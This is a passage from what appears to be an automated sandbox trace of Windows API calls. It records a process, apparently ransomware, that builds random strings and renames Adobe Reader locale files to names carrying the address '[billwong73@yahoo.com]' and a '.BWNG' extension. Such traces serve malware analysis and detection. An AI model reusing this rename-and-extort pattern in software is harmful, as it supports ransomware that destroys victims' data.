CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0088.085] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0088.085] GetTickCount () returned 0x115de3f [0088.085] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23003681020) returned 1 [0088.085] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0088.085] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0088.085] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0088.085] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="N") returned 1 [0088.085] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0088.085] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0088.085] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0088.085] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="X") returned 1 [0088.085] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\accessibility.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\accessibility.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\[billwong73@yahoo.com].JWCZts68-qDmNbOZX.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\[billwong73@yahoo.com].jwczts68-qdmnbozx.bwng"), dwFlags=0x1) returned 1 [0088.087] GetTickCount () returned 0x115de3f [0088.087] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23003880655) returned 1 [0088.087] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="X") returned 1 [0088.087] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="p") returned 1 [0088.087] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0088.087] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0088.087] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="p") returned 1 [0088.087] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0088.087] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="s") returned 1 [0088.087] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0088.087] GetTickCount () returned 0x115de3f [0088.087] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23003911862) returned 1 [0088.087] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="i") returned 1 [0088.087] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0088.087] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="s") returned 1 [0088.087] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0088.087] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0088.087] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0088.087] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="4") returned 1 [0088.087] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="s") returned 1 [0088.087] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Annots.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\annots.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\[billwong73@yahoo.com].XpM0pHsd-ihsSTl4s.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\[billwong73@yahoo.com].xpm0phsd-ihsstl4s.bwng"), dwFlags=0x1) returned 1 [0088.088] GetTickCount () returned 0x115de3f [0088.088] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23004053859) returned 1 [0088.088] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="G") returned 1 [0088.088] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="z") returned 1 [0088.088] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0088.088] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0088.088] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0088.089] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="3") returned 1 [0088.089] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0088.089] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0088.089] GetTickCount () returned 0x115de3f [0088.089] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23004084886) returned 1 [0088.089] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="r") returned 1 [0088.089] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0088.089] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="4") returned 1 [0088.089] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="F") returned 1 [0088.089] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="r") returned 1 [0088.089] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="F") returned 1 [0088.089] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0088.089] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="s") returned 1 [0088.089] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\SaveAsRTF.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\saveasrtf.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\[billwong73@yahoo.com].GzZCE3vv-rx4FrFOs.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\[billwong73@yahoo.com].gzzce3vv-rx4frfos.bwng"), dwFlags=0x1) returned 1 [0088.090] GetTickCount () returned 0x115de3f [0088.090] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23004238637) returned 1 [0088.090] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="g") returned 1 [0088.090] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0088.090] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="a") returned 1 [0088.090] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="G") returned 1 [0088.090] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="a") returned 1 [0088.090] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0088.090] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0088.090] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0088.090] GetTickCount () returned 0x115de3f [0088.090] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23004269925) returned 1 [0088.091] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="N") returned 1 [0088.091] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0088.091] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="r") returned 1 [0088.091] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0088.091] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="z") returned 1 [0088.091] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="4") returned 1 [0088.091] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="r") returned 1 [0088.091] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0088.091] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Search.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\search.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\[billwong73@yahoo.com].gOaGaBqD-NyrIz4rP.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\[billwong73@yahoo.com].goagabqd-nyriz4rp.bwng"), dwFlags=0x1) returned 1 [0088.092] GetTickCount () returned 0x115de3f [0088.092] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23004386789) returned 1 [0088.092] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0088.092] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0088.092] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0088.092] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0088.092] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0088.092] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0088.092] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0088.092] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0088.092] GetTickCount () returned 0x115de3f [0088.092] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23004417759) returned 1 [0088.092] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0088.092] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0088.092] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0088.092] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0088.092] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0088.092] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="X") returned 1 [0088.092] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0088.092] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0088.092] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\RdLang32.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\rdlang32.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\[billwong73@yahoo.com].9Mo6fSEA-TOdfdXTq.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\[billwong73@yahoo.com].9mo6fsea-todfdxtq.bwng"), dwFlags=0x1) returned 1 [0088.094] GetTickCount () returned 0x115de4e [0088.094] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23004611285) returned 1 [0088.094] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0088.094] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0088.094] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0088.094] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0088.094] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="t") returned 1 [0088.094] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="4") returned 1 [0088.094] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="U") returned 1 [0088.094] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="c") returned 1 [0088.094] GetTickCount () returned 0x115de4e [0088.094] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23004642899) returned 1 [0088.094] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="U") returned 1 [0088.094] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0088.094] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="L") returned 1 [0088.094] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0088.094] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="U") returned 1 [0088.094] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0088.094] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0088.094] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0088.094] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\IA32.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\ia32.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\[billwong73@yahoo.com].d7vIt4Uc-UMLKUqxk.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\[billwong73@yahoo.com].d7vit4uc-umlkuqxk.bwng"), dwFlags=0x1) returned 1 [0088.095] GetTickCount () returned 0x115de4e [0088.095] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23004760103) returned 1 [0088.095] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="2") returned 1 [0088.095] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="N") returned 1 [0088.095] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0088.096] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0088.096] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0088.096] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="i") returned 1 [0088.096] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0088.096] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0088.096] GetTickCount () returned 0x115de4e [0088.096] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23004790966) returned 1 [0088.096] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0088.096] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0088.096] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0088.096] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="X") returned 1 [0088.096] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0088.096] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="X") returned 1 [0088.096] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="H") returned 